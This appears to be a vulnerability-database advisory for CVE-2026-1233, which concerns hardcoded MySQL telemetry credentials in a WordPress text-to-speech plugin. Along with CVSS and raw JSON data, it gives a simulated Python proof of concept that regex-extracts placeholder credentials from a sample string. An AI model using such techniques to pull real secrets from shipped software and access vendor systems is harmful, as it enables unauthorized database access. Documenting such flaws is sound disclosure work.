Security Vulnerability Report
中文
CVE-2026-1233 CVSS 7.5 HIGH

CVE-2026-1233

Published: 2026-04-04 12:16:03
Last Modified: 2026-04-24 18:13:29

Description

The Text to Speech for WP (AI Voices by Mementor) plugin for WordPress is vulnerable to sensitive information exposure in all versions up to, and including, 1.9.8. This is due to the plugin containing hardcoded MySQL database credentials for the vendor's external telemetry server in the `Mementor_TTS_Remote_Telemetry` class. This makes it possible for unauthenticated attackers to extract and decode these credentials, gaining unauthorized write access to the vendor's telemetry database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Text to Speech for WP (AI Voices by Mementor) <= 1.9.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-1233 # This script simulates extracting hardcoded credentials from the vulnerable plugin file. import re import base64 # Simulating the content of the vulnerable class file Mementor_TTS_Remote_Telemetry.php vulnerable_file_content = """ <?php class Mementor_TTS_Remote_Telemetry { private $db_host = 'mysql.vendor-server.com'; private $db_user = 'telemetry_user'; // Hardcoded password found in source private $db_pass = 'S3cr3tP@ssw0rd123'; ... } """ def extract_credentials(file_content): # Regex to find potential database credentials in PHP code # This is a simplified pattern for demonstration db_host_pattern = r"private\s+\$db_host\s*=\s*['\"]([^'\"]+)['\"]" db_user_pattern = r"private\s+\$db_user\s*=\s*['\"]([^'\"]+)['\"]" db_pass_pattern = r"private\s+\$db_pass\s*=\s*['\"]([^'\"]+)['\"]" host = re.search(db_host_pattern, file_content) user = re.search(db_user_pattern, file_content) password = re.search(db_pass_pattern, file_content) if host and user and password: print("[+] Vulnerability Found: Hardcoded Credentials Detected") print(f"DB Host: {host.group(1)}") print(f"DB User: {user.group(1)}") print(f"DB Password: {password.group(1)}") return { 'host': host.group(1), 'user': user.group(1), 'password': password.group(1) } else: print("[-] No hardcoded credentials found.") return None if __name__ == "__main__": print("Scanning for CVE-2026-1233 vulnerability...") creds = extract_credentials(vulnerable_file_content) if creds: print("\n[!] Action: Attacker can now use these credentials to access the vendor's telemetry database.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1233", "sourceIdentifier": "[email protected]", "published": "2026-04-04T12:16:02.943", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Text to Speech for WP (AI Voices by Mementor) plugin for WordPress is vulnerable to sensitive information exposure in all versions up to, and including, 1.9.8. This is due to the plugin containing hardcoded MySQL database credentials for the vendor's external telemetry server in the `Mementor_TTS_Remote_Telemetry` class. This makes it possible for unauthenticated attackers to extract and decode these credentials, gaining unauthorized write access to the vendor's telemetry database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3453258/text-to-speech-tts", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b8dc0b5e-87b9-4831-a92a-bbf6eb1346e2?source=cve", "source": "[email protected]"}]}}